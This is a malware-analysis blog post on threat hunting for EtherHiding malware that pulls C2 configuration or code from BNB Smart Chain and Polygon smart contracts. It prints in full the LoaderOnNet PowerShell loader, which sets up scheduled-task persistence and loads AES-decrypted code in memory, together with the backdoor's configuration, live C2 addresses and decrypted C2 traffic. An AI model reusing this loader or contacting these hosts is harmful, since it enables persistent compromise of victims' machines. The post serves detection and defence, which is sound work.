Background
“EtherHiding” is a technique that we keep seeing with increased popularity in the threat landscape. Threat actors store data (for example C2 configuration) or code on a public blockchain, where they face no risk of a takedown due to the decentralized nature. Additionally, by using smart contracts, they are also able to update the stored information on the fly. This technique comes with the benefit that they can access it through a legitimate API endpoint which by itself often doesn’t ring any alarm bells, as no malicious infrastructure is used at this stage. We’ve talked about EtherHiding in the past for SharkStealer (LinkedIn, Webinar) and ArechClient2 (LinkedIn).
On one hand, these legitimate API endpoints used by malware for EtherHiding have a huge drawback as an indicator of compromise: due to their nature of not being malicious by themselves, they can also be used for legitimate purposes. This makes it difficult to include them in IoC feeds or blocklists.
On the other hand, we can use these API endpoints for threat hunting, detection engineering, and pivot towards the unknown.
In our last Threat Intelligence insights blogpost, we discussed the Pyramid of Pain and how moving up the pyramid helps gaining better IoCs. In this blogpost, we want to start at the top of the pyramid and hunt for malware using the EtherHiding technique.
Throughout this blogpost the term “unknown malware” is used to describe malware for which there was no threat name in VMRay Platform.
Pivoting from API endpoints to malware
For EtherHiding, we’ve seen malware use the BNB Smart Chain (BSC) Mainnet and Testnet a lot. Therefore, this offers a great point to start an investigation. Using chainlist[.]org, we can gather a list of API endpoints for both BSC Mainnet and Testnet:
curl -s https://chainlist.org/rpcs.json | jq -c '.[] | select(.chain=="BSC") | .rpc[].url'
At VMRay, we continuously monitor the threat landscape and submit samples from a variety of sources, commercial and open-source, for automated sandbox analysis on our Platform. We use the research described in this blogpost to find new and unknown malware families and proactively create new signatures and behavioral detection rules for them.
In a similar way, network defenders can use the same approach to find previously undetected malware, phishing pages, or proactively create detections by using an existing security stack (e.g. EDR, firewall, DNS resolutions).
Findings
The known
With the previously described set we identify malware families that are known to use variants of EtherHiding, like SharkStealer and ArechClient2 which pull their C2 configuration from a smart contract, or ClearFake which pulls additional JavaScript payloads.
Both SharkStealer and ArechClient2 use AES decryption with a hardcoded key and a smart contract embedded in the binary. In both cases the smart contract returns a tuple consisting of the 16 byte IV and encrypted data, containing the C2 server’s address.
SharkStealer report: https://www.vmray.com/analyses/sharkstealer-uses-bnb-smart-chain-as-c2-dead-drop-resolver/report/overview.html
ArechClient2 report: https://www.vmray.com/analyses/etherhiding-in-arechclient2/report/overview.html
We also find ClearFake samples, as this might have been the first malware family to use EtherHiding. ClearFake fetches and executes base64 encoded and gzip compressed code, as reported in great detail by Sekoia and Guardio in the past.
ClearFake example: https://www.vmray.com/analyses/clearfake-using-etherhiding-to-fetch-code/report/overview.html
Additionally, we found a ClickFix sample belonging to a campaign described by Censys where a multi-stage JavaScript payload was hosted on smart contracts.
The initial smart contract delivers an obfuscated JavaScript payload that performs OS fingerprinting and dynamically retrieves platform specific second-stage payloads (Windows or macOS) from subsequent smart contracts, before obtaining the final stage payload from an additional contract.
Notable here is that even though all smart contracts in this campaign are placed on BSC Testnet, the initial injector uses a different API endpoint (hxxps[://]bsc-testnet[.]drpc[.]org/) than later stages (hxxps[://]data-seed-prebsc-1-s1[.]bnbchain[.]org:8545).
ClickFix example: https://www.vmray.com/analyses/clickfix-using-etherhiding-to-fetch-multi-staged-javascript/report/overview.html
So far, the findings align with expectations and correspond to known malware families. In the next section, we will discuss the unknown.
The unknown
Besides the malware families mentioned above, our BSC research revealed one sample without family attribution at the time of the investigation. But, as it turns out, this one is not actually new but a known family, which we call ZigCryptoStealer, with some notable changes.
ZigCryptoStealer
ZigCryptoStealer is a stealer implemented in Zig which we’ve talked about in the past – but due to a change in behaviour this sample didn’t match our existing YARA rules anymore.
After a brief investigation, the change became clear: in the past this family used the BSC Testnet via API endpoint hxxps[://]data-seed-prebsc-1-s1[.]binance[.]org:8545. This newer sample uses the BSC Mainnet via API endpoint hxxps[://]bsc-dataseed[.]bnbchain[.]org.
The technique stayed the same, but the procedure slightly changed.
ZigCryptoStealer with BSC Testnet: https://www.vmray.com/analyses/vidar-drops-zig-based-crypto-stealer/report/overview.html
Newer version of ZigCryptoStealer with BSC Mainnet: https://www.vmray.com/analyses/new-variant-of-zigcryptostealer-using-bsc-mainnet/report/overview.html
This malware family uses smart contracts to receive their C2 configuration. The newer sample, at the time of analysis, received the C2 server celebration-internet[.]cc.
What’s remarkable here, and really shows the value of using malware analysis for threat intelligence, is that we already identified this domain in other smart contracts created by the same creator back in March, and predicted this domain to likely being used in the future.
Other chains
After investigating samples using the BNB Smart Chain, we decided to extend our scope and check other chains as well.
curl -s <https://chainlist.org/rpcs.json> | jq -c '.[] | select(.chain!="BSC") | .rpc[].url'
Here, we discovered two samples using the Polygon chain for EtherHiding. While the use of Polygon is not new and is used by DeadLock ransomware according to Group-IB, the samples we found were unknown to us.
Polygon API endpoints can be acquired with the following command:
curl -s https://chainlist.org/rpcs.json | jq -c '.[] | select(.chain=="Polygon") | .rpc[].url'
Java Stealer
The first unknown was what appears to be a stealer implemented in Java, which continuously monitors the clipboard and further downloads additional payloads.
Report: https://www.vmray.com/analyses/java-infostealer-using-polygon-chain-for-etherhiding/report/overview.html
Based on the resolved domain connect[.]mcleaks[.]de it appears that this is related to Minecraft downloads from a third-party website. Based on a HudsonRock analysis the recent Vercel breach was caused by an infostealer infection through a downloaded game exploit for Roblox – which shows the danger not just to the individual, but potentially also associated organizations.
Figure 1: Java Stealer pulling additional payload
LoaderOnNet
Report: https://www.vmray.com/analyses/loaderonnet-using-polygon-chain-for-etherhiding/report/overview.html
Here we made a very interesting finding, a sample communicating with the Polygon chain. In our analysis we see a PowerShell process performing those web requests.
A closer inspection shows that it creates a scheduled task for persistence, and then decrypts the next payload via AES and launches it.
The full PowerShell script only contains 23 lines:
$taskName = 'WindowsSecurityHealthSasde'
$vbsPath = Join-Path $PSScriptRoot 'r.vbs'
$null = schtasks /Query /TN $taskName 2>$null
if ($LASTEXITCODE -ne 0) {
$tr = '"' + 'wscript.exe "' + $vbsPath + '"' + '"'
schtasks /Create /TN $taskName /TR $tr /SC MINUTE /MO 1 /F | Out-Null
}
$keyB64 = 'K2mN4pQ6rT8vW1xY3zA5bC7dE9fG2hJ4kL6nP8sR0tU='
$key = [Convert]::FromBase64String($keyB64)
$binPath = Join-Path $PSScriptRoot 'p.bin'
$all = [System.IO.File]::ReadAllBytes($binPath)
$ivLen = 16
$iv = $all[0..($ivLen-1)]
$ct = $all[$ivLen..($all.Length-1)]
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $key
$aes.IV = $iv
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$dec = $aes.CreateDecryptor().TransformFinalBlock($ct, 0, $ct.Length)
$aes.Dispose()
$asm = [System.Reflection.Assembly]::Load($dec)
$asm.EntryPoint.Invoke($null, (, [string[]](,$null)))
In the VMRay Platform, a memory dump is automatically created for the loaded assembly, therefore we can download the artifact directly without the need to manually decrypt it. This reveals a .NET executable “LoaderOnNet”, which we will take a closer look here.
The sample contains capabilities for:
- Executing tasks from the C2
- “DownloadAndRun”
- “DownloadAndRunPS1”
- “CMDCommand”
- “PSCommand”
- “rundll32”
- “msi”
- “RunInMemory”
- “CloseClient”
- “SelfDelete”
- “SelfUpdate”
- ReverseShell
- Collecting system information via registry and WMI
- Process hollowing
- Installation and persistence
- Blockchain communication
- Using Steam user profile as dead-drop resolvers
The configuration embedded in the sample shows some of its capabilities:
public const bool DirectConnect = false;
public const string Ccurl = "<http://31.130.132.86:80>";
public const bool ParseSteam = false;
public static readonly string[] SteamProxyUrls = new string[15]
{
"<https://steamcommunity.com/profiles/76561199691557976>", "<https://steamcommunity.com/profiles/76561199691383244>", "<https://steamcommunity.com/profiles/76561199692404214>", "<https://steamcommunity.com/profiles/76561199691354488>", "<https://steamcommunity.com/profiles/76561199691330419>", "<https://steamcommunity.com/profiles/76561199691150752>", "<https://steamcommunity.com/profiles/76561199691157658>", "<https://steamcommunity.com/profiles/76561199692194790>", "<https://steamcommunity.com/profiles/76561199692437800>", "<https://steamcommunity.com/profiles/76561199691286776>",
"<https://steamcommunity.com/profiles/76561199691522792>", "<https://steamcommunity.com/profiles/76561199691806438>", "<https://steamcommunity.com/profiles/76561199690870609>", "<https://steamcommunity.com/profiles/76561199690326961>", "<https://steamcommunity.com/profiles/76561199691513242>"
};
public const bool NeedInstall = false;
public const bool AdvancedInstall = true;
public const string InstallDirName = "dahfghghcxsa";
public const string AdvancedInstallPayloadName = "p.bin";
public const string AdvancedInstallScriptName = "r.ps1";
public const string AdvancedInstallVbsName = "r.vbs";
public const string AdvancedInstallTaskName = "WindowsSecurityHealthSasde";
public const string AdvancedInstallAesKeyBase64 = "K2mN4pQ6rT8vW1xY3zA5bC7dE9fG2hJ4kL6nP8sR0tU=";
public const string InstallExeName = "WinSecgsdeker.exe";
public const string StartupLnkName = "hagassg341.lnk";
public const string MutexName = "Global\\\\ghsaasag1";
public const string DefaultBcContractAddress = "0x6fBe32f86B4C8d6Df49f23326f7Be94a814519b1";
public static readonly string[] DefaultPolygonRpcUrls = new string[11]
{
"<https://polygon-rpc.com>", "<https://polygon-bor-rpc.publicnode.com>", "<https://polygon.drpc.org>", "<https://rpc-mainnet.matic.network>", "<https://rpc-mainnet.maticvigil.com>", "<https://rpc-mainnet.matic.quiknode.pro>", "<https://matic-mainnet.chainstacklabs.com>", "<https://matic-mainnet-full-rpc.bwarelabs.com>", "<https://polygon-bor.publicnode.com>", "<https://polygon.gateway.tenderly.co>",
"<https://rpc.ankr.com/polygon>"
};
public const int BlockchainPollIntervalSecs = 180;
public const int ServerPollIntervalSecs = 30;
public const int BlockchainCheckIntervalSecs = 180;
As we can see from the config, Steam parsing is disabled in this sample, therefore no related web requests are observed in our analysis.
What we see is the regular blockchain polling. A closer look shows that the sample uses ChaCha20Poly1305 encryption for both data exchange with the C2 server (“Ccurl”) and the data pulled from the smart contract, with different keys respectively. The data is encrypted, and appended to the 12 byte nonce before transmission.
We can implement the decryption routine ourselves to investigate the transmitted data:
import json
from base64 import b64decode
from Crypto.Cipher import ChaCha20_Poly1305
import sys
def decrypt(key, b64):
try:
decoded = b64decode(b64)
nonce = decoded[:12]
encrypted = decoded[12:]
encrypted_length = len(encrypted)
key_b = bytes(key,'ascii')
cipher = ChaCha20_Poly1305.new(key=key_b, nonce=nonce)
plaintext = cipher.decrypt(encrypted)
print(plaintext[:-16].decode('ascii', 'ignore')) # -16 due to appended MAC
except (ValueError, KeyError) as ex:
print(ex)
def decrypt_bc(data):
key = "K8mN2pQ5rT7vW0xY3zA6bC9dE1fG4hJ2"
return decrypt(key, data)
def decrypt_data(data):
key = "01234567890123456789012345678901"
return decrypt(key, data)
The following response is returned from the smart contract at the time of this investigation:
0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000804a62687148356c5747587a7835614932483751584e4d2f576a5359426266566e615242522f3548353731326564617238775559696f6f6d4a5854376d6b364f2f667368536a38744442336e5774384d6d5a6b43394155646d5863664e66334b3370544944524d4e2f6a65787956536267654b7369434830456544752f77722b57
This decodes to the following base64 string:
JbhqH5lWGXzx5aI2H7QXNM/WjSYBbfVnaRBR/5H5712edar8wUYioomJXT7mk6O/fshSj8tDB3nWt8MmZkC9AUdmXcfNf3K3pTIDRMN/jexyVSbgeKsiCH0EeDu/wr+W
Applying the decryption routine we can finally see the plaintext result:
{"Controlled":"YES","CCURL":"hxxp[://]85[.]11[.]161[.]32:80/","TASK":"NONE"}
This is interesting because it not only provides a C2 server address (different from the hardcoded C2 server in the sample), but also has a field for tasks, indicating that the threat actor also keeps the option to send tasks to infected machines.
Looking at the network communication we can see POST requests to this new C2 server with “Op” and “Data” fields in the header, for example:
Op: GKnurMF+LT5dUXf3nwYGlHI9YRdVPQWYsgMQyhBlXbAHA8MsiAY=
Data: c1vUnA3htNqUb4553Kw0EzR6BJE1R0RAqEXqzkBdzq26lYonvTlz7l3CgGaEkI7z1cvu/lDT6hxntE8lV/Wrh9yaWrjMbj+RHMRGxqEFpA9qR0p5hGja/dw2P7JpkU/C3es2BZMRYCmf0XIV+UHQbRl15ASs1M/JOi/dnaFBCRrKCdkaEpSV3IutNNffe2jzILIbqziSVpIMSyUs8J1YYCq3CyfVjEKLTzqPy3yu9Zk=
Applying the decryption we get the following results (slightly redacted):
Op: check_task
Data: {"username":"<REDACTED>","HWID":"<REDACTED>","IsAdmin":"<REDACTED>","OsVersion":"<REDACTED>","OsBuild":"<REDACTED>","Antivirus":"<REDACTED>"}
The backdoor sends machine identification data, and checks for a task to be executed. We observed the following response:
bNs3fSjCqfkwudHhlmsSglFjIQBIsIoBTwTN0BYfx5mCnp/3
This decrypts to:
No Tasks
Conclusion & Recommendations
In this blogpost, we showed the value of combining cyber threat intelligence and threat hunting with sandbox-supported malware analysis. By starting with a known technique where malware abused legitimate infrastructure to host data or code on the blockchain, we pulled a list of potential API endpoints that could be used to access the data, revealing many other malware families and samples that adopted the same technique.
While we found plenty of things that were known to us already, after extending our focus away from the BNB Smart Chain and widening our radius, we found interesting samples communicating with the Polygon chain. This helped us to identify a backdoor “LoaderOnNet” which does not only pull its C2 server from the blockchain, but potentially also pulls tasks to execute. VMRay Platform’s detailed analysis reports helps us to understand the capabilities of this backdoor, but also to identify new IoCs related to it, like C2 dead-drop resolvers and related C2 servers.
This methodology can be used by threat research teams, but of course also by network defenders to find malware or phishing pages that might be unknown at this point. Due to the increased usage of EtherHiding in both phishing and malware campaigns we encourage security teams to monitor related API endpoints for suspicious and unusual requests, or outright block those endpoints if no legitimate use-case exists for them.
IoCs
Java stealer
| IoC |
Description |
| 8f0aacc93b282b3910be2333edea3fa93eaff90d562366fc7bfb9d76533e73eb |
SHA256 |
| 0x830c0d1ecbb0c726cb57666008494ca6419337a5; 0x52a7ab41 |
Polygon smart contract & entry point |
| hxxp[://]79[.]137[.]206[.]33/csb[.]jar |
Payload download |
| 99e52e13de54155543f6db52ba2ddd9cd5b9ce78321fec3c0ea3baf7bcd24631 |
SHA256 csb.jar |
| connect[.]mcleaks[.]de |
Contacted domain for “Minecraft leaks” |
polygon[.]api[.]onfinality[.]io
kong[.]eu[.]onfinality[.]io
rpc-mainnet[.]polygon[.]technology
polygon[.]drpc[.]org
polygon-bor[.]publicnode[.]com |
Observed EtherHiding API endpoints |
LoaderOnNet
| IoC |
Description |
| 8cc1f99f432c58b0cf5f0de1e4a636923534b57c919707002987083c5e61cc89 |
SHA256 LoaderOnNet |
| hxxp[://]31[.]130[.]132[.]86:80 |
Hardcoded C2 |
| hxxp[://]85[.]11[.]161[.]32:80 |
C2 returned from Polygon smart contract |
| 0x6fBe32f86B4C8d6Df49f23326f7Be94a814519b1; 0xe21f37ce0000000000000000000000000000000000000000000000000000000000000000 |
Polygon smart contract & entry point |
hxxps[://]steamcommunity[.]com/profiles/76561199691557976
hxxps[://]steamcommunity[.]com/profiles/76561199691383244
hxxps[://]steamcommunity[.]com/profiles/76561199692404214
hxxps[://]steamcommunity[.]com/profiles/76561199691354488
hxxps[://]steamcommunity[.]com/profiles/76561199691330419
hxxps[://]steamcommunity[.]com/profiles/76561199691150752
hxxps[://]steamcommunity[.]com/profiles/76561199691157658
hxxps[://]steamcommunity[.]com/profiles/76561199692194790
hxxps[://]steamcommunity[.]com/profiles/76561199692437800
hxxps[://]steamcommunity[.]com/profiles/76561199691286776
hxxps[://]steamcommunity[.]com/profiles/76561199691522792
hxxps[://]steamcommunity[.]com/profiles/76561199691806438
hxxps[://]steamcommunity[.]com/profiles/76561199690870609
hxxps[://]steamcommunity[.]com/profiles/76561199690326961
hxxps[://]steamcommunity[.]com/profiles/76561199691513242 |
Steam user profiles abused as dead-drops |
23[.]94[.]252[.]103:80
cimetria[.]top:80
cimetria[.]top:80
basandor[.]top
cimetria[.]top:80
nasdam[.]xyz
wehatasm[.]xyz
flashanka[.]icu
dinitro[.]buzz
davanatas[.]top
callpit[.]icu |
C2s from Steam user profiles |
hxxps[://]polygon-rpc[.]com
hxxps[://]polygon-bor-rpc[.]publicnode[.]com
hxxps[://]polygon[.]drpc[.]org
hxxps[://]rpc-mainnet[.]matic[.]network
hxxps[://]rpc-mainnet[.]maticvigil[.]com
hxxps[://]rpc-mainnet[.]matic[.]quiknode[.]pro
hxxps[://]matic-mainnet[.]chainstacklabs[.]com
hxxps[://]matic-mainnet-full-rpc[.]bwarelabs[.]com
hxxps[://]polygon-bor[.]publicnode[.]com
hxxps[://]polygon[.]gateway[.]tenderly[.]co
hxxps[://]rpc[.]ankr[.]com/polygon |
Polygon RPC endpoints |